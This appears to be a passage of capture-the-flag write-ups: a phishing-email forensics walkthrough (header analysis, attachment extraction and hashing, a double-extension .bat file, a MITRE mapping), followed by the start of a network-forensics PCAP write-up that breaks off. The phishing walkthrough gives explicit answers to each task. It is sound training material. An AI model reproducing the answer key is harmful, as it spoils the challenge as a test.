dkim=pass header.d=business-finance.com;
dmarc=pass action=none header.from=business-finance.com;
Message-ID: <20250226101500.ABC123@business-finance.com>
Date: Mon, 26 Feb 2025 10:15:00 +0000 (UTC)
From: "Finance Dept"
To: "Accounting Dept"
Subject: Urgent: Invoice Payment Required - Overdue Notice
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="boundary123"
```
Here is what every single header means:
**`Return-Path: `**
The envelope sender — the address that bounce messages (delivery failures) are sent back to. Set
by the sending mail server automatically. If the email cannot be delivered, the bounce goes here.
It often matches the `From` address but does not have to.
**`Reply-To: `**
When the recipient clicks "Reply", their email client pre-fills this address instead of the
`From` address. Phishing emails sometimes use this to redirect replies to a different mailbox
than where the email appeared to come from. Here both are on the same domain, but in other
attacks the `Reply-To` might point to a completely different domain.
**`X-Mailer: Microsoft Outlook 16.0`**
The email client or software that was used to compose and send the email. This is self-reported
by the sender — it can be faked trivially. Its value here is context: if the rest of the
infrastructure looks like a Linux mail server but the mailer says Outlook, that inconsistency is
worth noting.
**`X-Originating-IP: [45.67.89.10]`**
A non-standard header (the `X-` prefix means custom/extended) added by some mail servers to
record the IP address the email was originally submitted from — the sender's actual machine or
mail client. This is one of the most forensically useful headers when it is present, as it
records the real origin before any relay.
**`X-Priority: 1 (Highest)` and `X-MSMail-Priority: High`**
These headers flag the email as high priority, causing email clients to display it prominently —
often with a red exclamation mark. Phishing emails use this to create urgency and pressure the
recipient into acting quickly without thinking carefully.
**`Received-SPF: Pass (...)`**
A header added by the receiving mail server recording the result of its own SPF check (explained
in full detail in Q5). This is distinct from the `Authentication-Results` header — `Received-SPF`
is the raw result logged by the mail server at the point of delivery, while `Authentication-Results`
is a structured summary of all authentication checks.
**`ARC-Seal` and `ARC-Message-Signature`**
ARC (Authenticated Received Chain) solves a specific problem: when an email is forwarded through
a mailing list or another relay, the forwarding server re-sends it from a different IP — which
breaks SPF — and may modify the headers — which breaks DKIM. ARC lets each relay in the chain
record and sign the authentication state it observed, so the final receiving server can see the
full history even if the original signatures no longer validate.
Think of it as a chain of notarized handoffs: each server stamps "I received this email and at
that point SPF/DKIM were passing" and signs that stamp. ARC-Message-Signature covers the message
headers, and ARC-Seal covers the ARC headers themselves (to prevent tampering with the chain).
In this email both show `cv=pass`, meaning the chain is intact. However, because the attacker
owns `business-finance.com` and its cryptographic keys, they can produce valid ARC signatures
just as easily as valid DKIM signatures (explained in full in Q5). These headers do not add any
legitimacy here — they just mean the attacker set up their domain correctly.
**`X-AntiSpam: Passed`** *(added by the receiving mail server — not set by the sender)*
This header is added by the victim's mail infrastructure after the email arrives, not by the
attacker. The receiving spam filter runs its checks and then stamps the result onto the email
before delivering it to the inbox. The attacker has no control over what value appears here —
they cannot set `X-AntiSpam: Passed` themselves.
In this case it shows `Passed` because the attacker's domain passes SPF, DKIM, and DMARC, and
the email body is carefully written to avoid obvious spam trigger words. The spam filter was
fooled — not bypassed. This header tells you what the filter decided; it says nothing about
whether the email is actually safe.
This is an important distinction to understand: `Received`, `Received-SPF`, `X-AntiSpam`, and
`Authentication-Results` are all added by mail servers in the delivery chain — the attacker
cannot fake them in a way that the receiving server would trust. Everything with an `X-` prefix
that appears *before* the email reaches the victim (like `X-Originating-IP`, `X-Organization`,
`X-Mailer`) is set by the sender and is fully controllable by the attacker.
**`X-Organization: Business Finance Ltd.`**
A custom header the sender added to associate the email with a company name. This is completely
self-reported and carries no verification. Attackers add it to reinforce the fake identity.
**`X-Envelope-From: finance@business-finance.com`**
This records the SMTP envelope sender — the address passed to the mail server at the protocol
level using the `MAIL FROM:` command, before any message content is transmitted. It is distinct
from the `From` header, which is part of the message content and is what the recipient's email
client displays.
These three addresses are related but separate things:
| Field | Value here | What it controls |
| ----------------- | ------------------------------ | --------------------------------------------- |
| `X-Envelope-From` | `finance@business-finance.com` | SMTP `MAIL FROM` — where bounces go |
| `Return-Path` | `finance@business-finance.com` | Same as envelope sender, recorded by receiver |
| `From` (header) | `finance@business-finance.com` | What the recipient sees in their inbox |
Here all three match, which is consistent and expected for a legitimate-looking email. But in
many phishing and spoofing attacks, these deliberately differ — and that mismatch is a red flag.
**What misalignment looks like and why it is suspicious:**
A classic spoofing scenario where someone pretends to be `ceo@bigcompany.com` while actually
controlling only `attacker.com` would produce something like this:
```
X-Envelope-From: bounce@attacker.com ← real sender, used for bounces
Return-Path: bounce@attacker.com ← same — where failures go
From: "CEO Big Company" ← spoofed display address
```
The recipient sees `ceo@bigcompany.com` in their inbox, but the actual sending infrastructure
belongs to `attacker.com`. SPF would fail here because `attacker.com` is not in `bigcompany.com`'s
SPF record — and this is exactly what SPF is designed to catch. DMARC would also fail because
the `From` domain (`bigcompany.com`) does not align with the authenticated domain (`attacker.com`).
In this PhishNet email there is no misalignment — not because the email is legitimate, but
because the attacker owns `business-finance.com` entirely and has set all three addresses to be
consistent. The attack vector is domain impersonation, not domain spoofing.
**`List-Unsubscribe: `**
Normally used by mailing lists to let recipients unsubscribe. Its presence here is part of the
legitimacy theatre — real mass-mail platforms include this header, so attackers add it to make
the email look like it came from a professional system rather than a one-off phishing tool.
**`X-Sender-IP: 45.67.89.10`**
Redundant with `X-Originating-IP` — another custom header recording the sender's IP. Some mail
platforms add both. Both point to the same IP, confirming it as the origin.
**`Received` headers (three of them)**
Each `Received` header records one hop — one mail server that handled the email. Read them from
bottom to top to trace the journey from origin to destination. Full analysis in Q2.
**`Authentication-Results`**
A structured summary of SPF, DKIM, and DMARC checks performed by the receiving mail server.
Each sub-result is on its own line. Full explanation of each protocol in Q5.
**`Message-ID: <20250226101500.ABC123@business-finance.com>`**
A unique identifier assigned to this specific email by the sending mail server. It is used for
threading (linking replies to original messages) and for deduplication. The format is typically
`timestamp.random@domain`. In a real investigation, the Message-ID can help correlate emails
across different log sources.
**`Date: Mon, 26 Feb 2025 10:15:00 +0000 (UTC)`**
The timestamp the sender's mail client recorded when the email was composed. This is self-reported
and can be set to any value — it does not necessarily match when the email was actually
transmitted. Compare against `Received` header timestamps to spot inconsistencies.
**`From: "Finance Dept" `**
The display name and address shown to the recipient. Email clients typically show only the display
name (`Finance Dept`) in the inbox view. The actual address (`finance@business-finance.com`) is
hidden behind it. Always expand this field to see the real address, not just the display name.
**`To: "Accounting Dept" `**
The intended recipient. The display name (`Accounting Dept`) and address
(`accounts@globalaccounting.com`) are the target of this phishing attempt.
**`Subject: Urgent: Invoice Payment Required - Overdue Notice`**
The email subject line. The word "Urgent" is deliberate — it is a classic social engineering
trigger. Combined with the high priority flags, the goal is to bypass careful thinking by making
the recipient feel they must act immediately.
**`MIME-Version: 1.0`**
MIME (Multipurpose Internet Mail Extensions) is the standard that allows email to carry
non-text content like HTML bodies and attachments. Version 1.0 is the only version in use.
This header just declares that the email uses MIME formatting.
**`Content-Type: multipart/mixed; boundary="boundary123"`**
Declares that the email has multiple parts — in this case, the HTML body and the ZIP attachment.
The `boundary` string (`boundary123`) is used as a divider between each part. Wherever
`--boundary123` appears in the file, it marks the start of a new section.
***
### Step 4 — Read the Body: Find Hidden Links
The body is HTML. In a text editor, scroll past the headers to find the `` tag:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "href" email.eml
```
Output:
```
Download Invoice
support@business-finance.com
```
The first link is the phishing URL. The display text says `Download Invoice` — but the actual
destination is `secure.business-finance.com`, a domain controlled by the attacker. A recipient
reading the rendered email would see a blue hyperlink that says "Download Invoice" with no hint
of where it actually goes.
***
### Step 5 — Extract the Attachment: Command Line Approach
The attachment is Base64-encoded inside the `.eml` file. You can extract it without needing an
email client at all.
**The easy way — use Python's email library:**
Python has a built-in library that understands `.eml` format natively and handles all the
parsing for you:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
python3 << 'EOF'
import email
with open('email.eml', 'rb') as f:
msg = email.message_from_bytes(f.read())
for part in msg.walk():
if part.get_content_disposition() == 'attachment':
filename = part.get_filename()
data = part.get_payload(decode=True)
with open(filename, 'wb') as f:
f.write(data)
print(f"Saved: {filename} ({len(data)} bytes)")
EOF
```
Output:
```
Saved: Invoice_2025_Payment.zip (75 bytes)
```
This approach is the cleanest — `email.message_from_bytes()` handles all MIME parsing, boundary
detection, and Base64 decoding automatically. `get_payload(decode=True)` decodes the Base64
content and gives you the raw bytes of the file.
**The manual way — understand what is happening under the hood:**
If you want to understand the mechanics, the Base64 block is visible in the raw `.eml` file.
After the `Content-Transfer-Encoding: base64` header, everything until the next `--boundary123`
is the encoded ZIP:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# See where the attachment data starts
grep -n "Content-Transfer-Encoding: base64" email.eml
# Line 47: Content-Transfer-Encoding: base64
# The Base64 data is on the next line — print it
sed -n '49p' email.eml
# UEsDBBQAAAAIABh/WloXPY4qcxITALvMGQAYAAAAaW52b2...
# Decode it manually
sed -n '49p' email.eml | base64 -d > Invoice_2025_Payment.zip
```
Both approaches produce the same file. The easy way is faster; the manual way shows you exactly
what Base64 encoding looks like in a real email.
**Step 3 — Hash the extracted file:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Linux
sha256sum Invoice_2025_Payment.zip
# 8379c41239e9af845b2ab6c27a7509ae8804d7d73e455c800a551b22ba25bb4a Invoice_2025_Payment.zip
# Windows PowerShell
Get-FileHash -Algorithm SHA256 .\Invoice_2025_Payment.zip
# SHA256 8379C41239E9AF845B2AB6C27A7509AE8804D7D73E455C800A551B22BA25BB4A
```
This hash can be submitted to VirusTotal (`virustotal.com`) or any threat intelligence platform
to check whether this sample is already known and documented.
**Step 4 — Inspect archive contents:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
python3 -c "import zipfile; z=zipfile.ZipFile('Invoice_2025_Payment.zip'); print(z.namelist())"
```
Inside, one file is listed: `invoice_document.pdf.bat`.
***
### Methodology Summary
1. **`file email.eml`** — confirm the artifact type
2. **`cat email.eml`** — read the full raw file to get oriented
3. **Read every header** — understand what each one says and who added it
4. **Trace `Received` headers bottom to top** — establish the real mail path
5. **`grep -a "href" email.eml`** — find all hyperlinks in the body
6. **Extract the Base64 attachment** — decode it to a file
7. **`sha256sum`** — hash the attachment for threat intel lookup
8. **Inspect archive contents** — look for disguised file types
9. **Map to MITRE ATT\&CK** — identify the technique
***
## Attack Overview
The attacker impersonates a company called Business Finance Ltd. and targets an accounting team
with an overdue invoice scam. The email is carefully constructed to pass every automated check:
it uses a real domain the attacker controls (`business-finance.com`), so SPF, DKIM, and DMARC
all return `pass`. The content uses professional language, a realistic invoice number
(`INV-2025-0012`), and a specific dollar amount (`$4,750.00`). Two delivery vectors are present
simultaneously — a phishing link (`secure.business-finance.com`) and a malicious ZIP attachment.
Inside the ZIP, a `.bat` batch script is disguised as a PDF using the double extension technique.
***
## Questions & Answers
### Task 1: What is the originating IP address of the sender?
**File:** `email.eml`\
**Where to look:** `X-Originating-IP` header (line 4)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "X-Originating-IP\|X-Sender-IP" email.eml
```
Output:
```
X-Originating-IP: [45.67.89.10]
X-Sender-IP: 45.67.89.10
```
Both headers confirm the same IP. `X-Originating-IP` is added by some mail servers to record
the IP address of the machine that originally submitted the email — the sender's real origin
point before any relay. `X-Sender-IP` is a redundant custom header added by the same platform.
To get more context about this IP, you can look it up:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Quick whois lookup
whois 45.67.89.10
# Or check in a browser
# https://ipinfo.io/45.67.89.10
# https://www.virustotal.com/gui/ip-address/45.67.89.10
```
> **Answer:** `45.67.89.10`
***
### Task 2: Which mail server relayed this email before reaching the victim?
**File:** `email.eml`\
**Where to look:** `Received` headers (lines 15–23)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "^Received:" email.eml
```
Output:
```
Received: from mail.business-finance.com ([203.0.113.25])
Received: from relay.business-finance.com ([198.51.100.45])
Received: from finance@business-finance.com ([198.51.100.75])
```
Each `Received` header records one hop. To trace the full path, read them from **bottom to top**
— the bottommost is the oldest (the origin), the topmost is the most recent (final delivery):
```
10:05 UTC 198.51.100.75 → relay.business-finance.com (origin — sender's machine)
10:10 UTC 198.51.100.45 → mail.business-finance.com (internal relay)
10:15 UTC 203.0.113.25 → mail.target.com (final delivery to victim)
```
The full topmost `Received` header reads:
```
Received: from mail.business-finance.com ([203.0.113.25])
by mail.target.com (Postfix) with ESMTP id ABC123;
Mon, 26 Feb 2025 10:15:00 +0000 (UTC)
```
This means: `mail.business-finance.com` at IP `203.0.113.25` handed the email to
`mail.target.com` (the victim's mail server) using the Postfix mail transfer agent. This is
the last relay before the email reached the victim — the answer to the question.
> **Answer:** `203.0.113.25`
***
### Task 3: What is the sender's email address?
**File:** `email.eml`\
**Where to look:** `From` header (line 30)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "^From:" email.eml
```
Output:
```
From: "Finance Dept"
```
The `From` header has two components: the **display name** (`"Finance Dept"`) and the **actual
address** (`finance@business-finance.com`). Most email clients show only the display name in the
inbox — which is why phishing emails often set a convincing display name while the real address
is something suspicious. Always look at what is inside the angle brackets `< >`, not just the
name shown in the inbox view.
You can also cross-reference with the envelope headers:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "Return-Path\|X-Envelope-From\|smtp.mailfrom" email.eml
```
Output:
```
Return-Path:
X-Envelope-From: finance@business-finance.com
smtp.mailfrom=business-finance.com;
```
All three confirm the same address — sender, envelope, and SMTP `MAIL FROM` all match. In a
spoofed email these would differ; here they are consistent because the attacker controls the
domain.
> **Answer:** `finance@business-finance.com`
***
### Task 4: What is the 'Reply-To' email address specified in the email?
**File:** `email.eml`\
**Where to look:** `Reply-To` header (line 2)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "^Reply-To:" email.eml
```
Output:
```
Reply-To:
```
The `Reply-To` header tells email clients where to send a reply. It can be set to any address —
independent of the `From` address. When the recipient clicks "Reply", their client pre-fills
`support@business-finance.com` rather than `finance@business-finance.com`.
In this email both addresses share the same domain (`business-finance.com`), which makes it
less obvious than an attack where the `Reply-To` points to a completely different domain (e.g.
`From: ceo@legit-company.com` / `Reply-To: ceo@legit-c0mpany.com`). The key takeaway is to
always check `Reply-To` separately from `From` — they are not the same thing.
> **Answer:** `support@business-finance.com`
***
### Task 5: What is the SPF (Sender Policy Framework) result for this email?
**File:** `email.eml`\
**Where to look:** `Authentication-Results` header (lines 24–27) and `Received-SPF` header (line 7)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "spf=\|dkim=\|dmarc=\|Received-SPF" email.eml
```
Output:
```
Received-SPF: Pass (protection.outlook.com: domain of business-finance.com designates 45.67.89.10 as permitted sender)
Authentication-Results: spf=pass (domain business-finance.com designates 45.67.89.10 as permitted sender)
dkim=pass header.d=business-finance.com;
dmarc=pass action=none header.from=business-finance.com;
```
All three authentication protocols return `pass`. Here is what each one actually means — and
crucially, why passing all three does not mean this email is safe.
**SPF (Sender Policy Framework)**
SPF works by publishing a DNS record on a domain that lists which IP addresses are authorised
to send email on behalf of that domain. When the victim's mail server receives this email from
`45.67.89.10` claiming to be from `business-finance.com`, it queries the DNS record for
`business-finance.com` and finds `45.67.89.10` listed as a permitted sender — so the check
passes. The attacker registered `business-finance.com`, configured its DNS SPF record to
authorise their own sending IP, and so the check passes by design. SPF tells you that the
sending IP is authorised by the domain's owner — it says nothing about whether the domain owner
is who they claim to be.
**DKIM (DomainKeys Identified Mail)**
DKIM works by having the sending mail server cryptographically sign parts of the email using a
private key. The corresponding public key is published in the domain's DNS. When the receiving
server gets the email, it retrieves the public key from DNS and verifies the signature. A `pass`
means the signature is valid — the email was not modified in transit, and it was signed by
someone who has access to the private key for `business-finance.com`. Again, the attacker owns
`business-finance.com` and its private DKIM key, so they can sign everything correctly. DKIM
proves the email was signed by the domain — not that the domain is trustworthy.
**DMARC (Domain-based Message Authentication, Reporting, and Conformance)**
DMARC is a policy layer that sits on top of SPF and DKIM. It requires that the domain in the
`From` header aligns with the domain that passed SPF or DKIM. It also lets domain owners publish
a policy declaring what to do with emails that fail: `none` (do nothing, just report), `quarantine`
(send to spam), or `reject` (block). Here the result is `dmarc=pass action=none`:
* **`pass`** — because `business-finance.com` appears in `From`, and SPF/DKIM both pass for
`business-finance.com`, the alignment check succeeds
* **`action=none`** — the domain owner set their DMARC policy to `none`, meaning even if emails
fail, no action should be taken. This is a common misconfiguration (or in this case, deliberate
attacker choice) that makes DMARC effectively useless for enforcement
**The key insight:** All three protocols pass because the attacker registered `business-finance.com`
themselves. They control the domain, its DNS records, its SPF configuration, and its DKIM signing
keys. These email authentication systems are designed to prevent one domain from impersonating
another — they cannot detect an attacker who built their own convincing fake domain from scratch.
This is called a **lookalike domain attack**: rather than spoofing `legit-company.com`, the
attacker registers `business-finance.com` — a plausible-sounding name — and passes all checks
legitimately.
> **Answer:** `pass`
***
### Task 6: What is the domain used in the phishing URL inside the email?
**File:** `email.eml`\
**Where to look:** HTML body — `` tags
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "href" email.eml
```
Output:
```
Download Invoice
support@business-finance.com
```
The first result is the phishing link. The recipient sees the display text `Download Invoice`
rendered as a blue hyperlink — there is no visible indication of where it goes. The real
destination is the `href` value: `https://secure.business-finance.com/invoice/details/view/INV2025-0987/payment`.
To extract just the domain:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -ao 'href="https://[^/]*' email.eml | head -1
```
Output:
```
href="https://secure.business-finance.com
```
The domain is `secure.business-finance.com` — a subdomain of the attacker's fake domain. The
`secure.` prefix is another legitimacy signal designed to reassure the victim that the link is
safe.
> **Answer:** `secure.business-finance.com`
***
### Task 7: What is the fake company name used in the email?
**File:** `email.eml`\
**Where to look:** `X-Organization` header, email body signature
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "X-Organization\|Business Finance" email.eml
```
Output:
```
X-Organization: Business Finance Ltd.
Best regards,
Finance Department
Business Finance Ltd.
```
The company name appears in two places: the `X-Organization` custom header (which sets it at
the metadata level) and the email body signature (which shows it to the recipient). The display
name in the `From` header says `Finance Dept` — that is the department name, not the company.
`Business Finance Ltd.` is the fake company the attacker constructed.
> **Answer:** `Business Finance Ltd.`
***
### Task 8: What is the name of the attachment included in the email?
**File:** `email.eml`\
**Where to look:** `Content-Disposition` header in the attachment section
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "Content-Disposition\|filename=" email.eml
```
Output:
```
Content-Disposition: attachment; filename="Invoice_2025_Payment.zip"
```
The `Content-Disposition: attachment` directive tells email clients that this section of the
email should be treated as a downloadable file rather than displayed inline. The `filename=`
parameter specifies the name that will appear in the attachment bar of the email client.
You can also confirm the filename from the `Content-Type` header immediately above it:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -a "Content-Type: application" email.eml
```
Output:
```
Content-Type: application/zip; name="Invoice_2025_Payment.zip"
```
Both headers agree on the filename.
> **Answer:** `Invoice_2025_Payment.zip`
***
### Task 9: What is the SHA-256 hash of the attachment?
**File:** `email.eml` → extracted `Invoice_2025_Payment.zip`\
**Method:** Extract the Base64 block and decode it, then hash
Extract the attachment using the Python script from Step 5 of the methodology, then:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Linux
sha256sum Invoice_2025_Payment.zip
# 8379c41239e9af845b2ab6c27a7509ae8804d7d73e455c800a551b22ba25bb4a Invoice_2025_Payment.zip
# Windows PowerShell
Get-FileHash -Algorithm SHA256 .\Invoice_2025_Payment.zip
# SHA256 8379C41239E9AF845B2AB6C27A7509AE8804D7D73E455C800A551B22BA25BB4A
```
With the hash in hand, you can submit it to threat intelligence platforms:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Look up on VirusTotal (requires API key) or paste the hash into virustotal.com
curl "https://www.virustotal.com/api/v3/files/8379c41239e9af845b2ab6c27a7509ae8804d7d73e455c800a551b22ba25bb4a" \
-H "x-apikey: YOUR_API_KEY"
```
> **Answer:** `8379C41239E9AF845B2AB6C27A7509AE8804D7D73E455C800A551B22BA25BB4A`
***
### Task 10: What is the filename of the malicious file contained within the ZIP attachment?
**File:** `Invoice_2025_Payment.zip`\
**Method:** Inspect archive contents
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
python3 -c "
import zipfile
with zipfile.ZipFile('Invoice_2025_Payment.zip') as z:
for info in z.infolist():
print(f'{info.filename} ({info.file_size} bytes)')
"
```
Output:
```
invoice_document.pdf.bat (1,690,811 bytes)
```
**The double extension technique:** The malicious batch script is named
`invoice_document.pdf.bat`. Windows hides known file extensions by default — so a victim
browsing the ZIP in File Explorer would see `invoice_document.pdf` displayed with a PDF icon,
because Windows strips the `.bat` extension from the visible filename. Double-clicking it would
execute a Windows batch script, not open a PDF.
The `.pdf` portion of the name is purely cosmetic — it is part of the filename, not an actual
extension that Windows acts on. Only the final extension (`.bat`) determines how the OS treats
the file.
To protect against this: open Windows Explorer, go to View → Show → File name extensions, and
enable it. With extensions visible, the file would display its true name `invoice_document.pdf.bat`
and the `.bat` extension would be an immediate red flag.
> **Answer:** `invoice_document.pdf.bat`
***
### Task 11: Which MITRE ATT\&CK techniques are associated with this attack?
**Source:** MITRE ATT\&CK framework\
**Where to look:** `attack.mitre.org` → Initial Access → Phishing
The attacker's delivery mechanism is a phishing email with a malicious attachment. When the
victim opens the ZIP and double-clicks the disguised `.bat` file, the malware executes. The
MITRE ATT\&CK framework organises this under:
* **T1566** — Phishing (the parent technique covering all phishing-based initial access)
* **T1566.001** — Phishing: Spearphishing Attachment (the sub-technique for malicious attachments)
The `.001` sub-technique is distinguished from:
* **T1566.002** — Spearphishing Link (clicking a malicious link, not an attachment)
* **T1566.003** — Spearphishing via Service (using a third-party service like LinkedIn or WhatsApp)
This email contains both a phishing link and a malicious attachment, but the primary execution
path — the actual malware delivery — is the `.bat` file inside the ZIP, which maps to `.001`.
> **Answer:** `T1566.001`
***
## Complete Header Reference Table
One of the most important things to understand in email forensics is **who actually wrote each
header** — because anything the sender writes can be faked, while anything the mail infrastructure
writes cannot (at least not in a way the receiving server would accept as genuine).
### Headers the attacker controls — treat these as unverified claims
These headers are set by the sender before the email is transmitted. The attacker can put
anything they want here. Never trust these at face value.
| Header | Value in this email | Why it can be faked |
| ------------------- | --------------------------------------------------- | ------------------------------------------------ |
| `Return-Path` | `finance@business-finance.com` | Set by sending MTA — attacker controls their MTA |
| `Reply-To` | `support@business-finance.com` | Set freely by sender in email client |
| `X-Mailer` | `Microsoft Outlook 16.0` | Self-reported by email client — trivially forged |
| `X-Priority` | `1 (Highest)` | Set freely by sender |
| `X-MSMail-Priority` | `High` | Set freely by sender |
| `X-Organization` | `Business Finance Ltd.` | Custom header — anyone can add anything |
| `X-Envelope-From` | `finance@business-finance.com` | Set by sending MTA — attacker controls their MTA |
| `List-Unsubscribe` | `unsubscribe@business-finance.com` | Set freely by sender |
| `X-Sender-IP` | `45.67.89.10` | Set by sending MTA — not independently verified |
| `Message-ID` | `<20250226101500.ABC123@business-finance.com>` | Generated by sending MTA — attacker controls it |
| `Date` | `Mon, 26 Feb 2025 10:15:00 +0000` | Self-reported — can be set to any timestamp |
| `From` | `"Finance Dept" ` | Set freely by sender — display name especially |
| `To` | `"Accounting Dept" ` | Set freely by sender |
| `Subject` | `Urgent: Invoice Payment Required - Overdue Notice` | Set freely by sender |
| `MIME-Version` | `1.0` | Set freely by sender |
| `Content-Type` | `multipart/mixed; boundary="boundary123"` | Set freely by sender |
### Headers added by mail servers in transit — these cannot be faked by the sender
These headers are stamped on the email by the mail servers that handle it along the way. The
sender cannot inject a fake `Received` header that the receiving server would treat as genuine,
because the receiving server appends its own `Received` entry when the email arrives — it doesn't
trust or repeat what was already there.
| Header | Value in this email | Who adds it | What it proves |
| ------------------------ | ------------------------------------------------- | -------------------------- | ------------------------------------------------------- |
| `Received` (×3) | Relay path from `198.51.100.75` to `203.0.113.25` | Each MTA on the path | The actual servers that handled the email |
| `Received-SPF` | `Pass` | Victim's receiving MTA | SPF result at time of delivery |
| `Authentication-Results` | `spf=pass dkim=pass dmarc=pass` | Victim's receiving MTA | Full auth check results — most trustworthy header |
| `X-AntiSpam` | `Passed` | Victim's spam filter | Result of spam analysis — attacker cannot set this |
| `ARC-Seal` | `cv=pass` | Relay MTA (attacker-owned) | Chain integrity — only trustworthy if relay is neutral |
| `ARC-Message-Signature` | `pass` | Relay MTA (attacker-owned) | Header signature — only trustworthy if relay is neutral |
**Important caveat on `X-Originating-IP`:** This header sits in a grey area. It is added by the
*submitting* mail server (the first server the email touches) — not by the sender's email
client directly. In a scenario where the attacker runs their own mail server, they control that
server and could choose not to add this header, or add a false value. If it is present and was
added by a neutral provider (like Microsoft Exchange or Google Workspace), it can be trusted. If
the attacker runs their own mail server, it should be cross-referenced against the `Received`
headers rather than taken alone.
**The `Authentication-Results` header is the most forensically trustworthy** — it is written by
the *receiving* server (the victim's mail infrastructure), which has no reason to lie. The
`Received-SPF` header is the raw version of the same thing. These two are your ground truth for
authentication status.
***
## MITRE ATT\&CK Mapping
| Phase | Technique ID | Technique Name | Evidence |
| --------------- | ------------ | -------------------------------------------------------- | --------------------------------------------------------------- |
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment | Malicious ZIP with `invoice_document.pdf.bat` attached to email |
| Defense Evasion | T1036.007 | Masquerading: Double File Extension | `.bat` disguised as `.pdf` via double extension in filename |
| Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Payload is a `.bat` Windows batch script |
***
## Skills Learned
* Opening and reading `.eml` files raw in a text editor and with `cat` / `grep` on the command line
* Understanding the three sections of an email file: headers, body, and MIME attachment sections
* Reading every email header — what each one means, who adds it, and whether it can be forged
* Tracing the full mail relay path using `Received` headers, reading bottom to top
* Understanding SPF, DKIM, and DMARC — and why all three passing does not mean an email is safe
* Recognising lookalike domain attacks where the attacker registers a convincing fake domain
* Finding phishing URLs hidden behind display text using `grep -a "href"`
* Extracting Base64-encoded attachments from `.eml` files using Python
* Hashing files with `sha256sum` / `Get-FileHash` for threat intelligence lookup
* Recognising the double extension technique (`file.pdf.bat`) and enabling extension display in Windows
* Mapping email-based attack techniques to MITRE ATT\&CK T1566.001
# Telly
Source: https://writeups.dudji.com/sherlocks/soc/telly
# Telly - HTB Sherlock Writeup (SOC / Network Forensics)
## Challenge Description
> You are a Junior DFIR Analyst at an MSSP that provides continuous monitoring and DFIR services to
> SMBs. Your supervisor has tasked you with analyzing network telemetry from a compromised backup
> server. A DLP solution flagged a possible data exfiltration attempt from this server. According to
> the IT team, this server wasn't very busy and was sometimes used to store backups.
**Difficulty:** Very Easy\
**Category:** SOC / Network Forensics\
**Evidence File:** `monitoringservice_export_202610AM-11AM.pcapng` (6.9 MB, 23,273 packets)
***
## Initial Analysis Methodology
Before diving into the challenge questions, the goal is to understand what happened using only the
evidence. This section walks through a repeatable approach you can apply to any unknown PCAP - the
same steps, in the same order, every time.
We have one PCAP from the backup server. We don't know yet who accessed it, what they did, or how
they got in. The methodology below will answer all three.
***
### Step 1 - Protocol Hierarchy: What kind of machine is this?
The very first thing to do with any unknown PCAP is find out what protocols it contains. This tells
you what kind of machine was captured and what kind of activity to expect - before you read a single
packet.
**Wireshark:** `Statistics > Protocol Hierarchy`
| Protocol | Frames | What it tells you |
| -------- | ------ | ----------------------------------------- |
| TCP | 22,960 | Nearly all traffic is TCP-based |
| Telnet | 6,363 | A significant portion is Telnet - port 23 |
| TLSv1.2 | 2,280 | Some encrypted HTTPS/TLS traffic |
| UDP | 313 | Minor - DNS, mDNS, NTP, SSDP |
**The red flag is immediate:** Telnet is a plaintext, unauthenticated-by-default legacy protocol
that should not appear on a backup server in a monitored environment. 6,363 Telnet frames out of
\~23,000 total packets is not background noise - it is the incident.
**The takeaway after Step 1:** This is a backup server that had an active Telnet session. Everything
else - the TLS traffic, DNS queries, SSDP - is routine background. The Telnet stream is where the
investigation begins.
***
### Step 2 - Endpoints & Conversations: Who's talking, and how much?
Now we know what protocols are present. Next question: *who is communicating*, and is the traffic
pattern normal for a server described as "not very busy"?
There are two related views in Wireshark that answer this differently:
* **`Statistics > Endpoints > IPv4`** - One row per IP, total packets aggregated across all
connections. Best for quickly identifying dominant talkers.
* **`Statistics > Conversations > TCP`** - One row per TCP stream. Best for understanding *how*
the traffic is structured.
**Start with Endpoints for triage, then drill into Conversations for detail.**
#### Endpoints view
Open `Statistics > Endpoints > IPv4` and sort by the **Packets** column (descending):
| Address | Packets | Role |
| --------------- | ------- | ---------------------------------------- |
| 192.168.72.131 | 17,734 | ??? (dominant talker - suspicious) |
| 192.168.72.136 | 9,153 | The backup server (this machine) |
| **91.99.25.54** | 2,672 | External IP - not a known service |
| 192.168.72.135 | 2,014 | Other internal host |
| 142.250.202.x | \~500 | Google infrastructure (background HTTPS) |
Two things stand out immediately. First, `192.168.72.131` is the dominant talker - nearly all
traffic in this capture involves this one IP. Second, `91.99.25.54` is an external IP generating
2,672 packets with the backup server on an unusual port. We don't know yet what either of these
are. The Conversations view will tell us.
#### Conversations view
Switch to `Statistics > Conversations > TCP` and sort by packets. Make sure the **Bytes** and
**Duration** columns are visible. If they aren't, right-click the column header to add them. These
two columns are often more informative than packet count alone: **Bytes** tells you how much data
was actually exchanged (a high packet count with near-zero bytes is just keepalives or handshakes),
and **Duration** tells you how long the connection stayed open (a fraction of a second is a probe
or automated request; many minutes is a human sitting at a keyboard). Note that Wireshark displays
duration in **seconds**, so divide by 60 to get minutes. `872s ÷ 60 = ~14.5 minutes`, for example.
| Address A | Address B | Packets | Bytes | Duration |
| -------------------------- | ----------------------- | --------- | ---------- | ----------- |
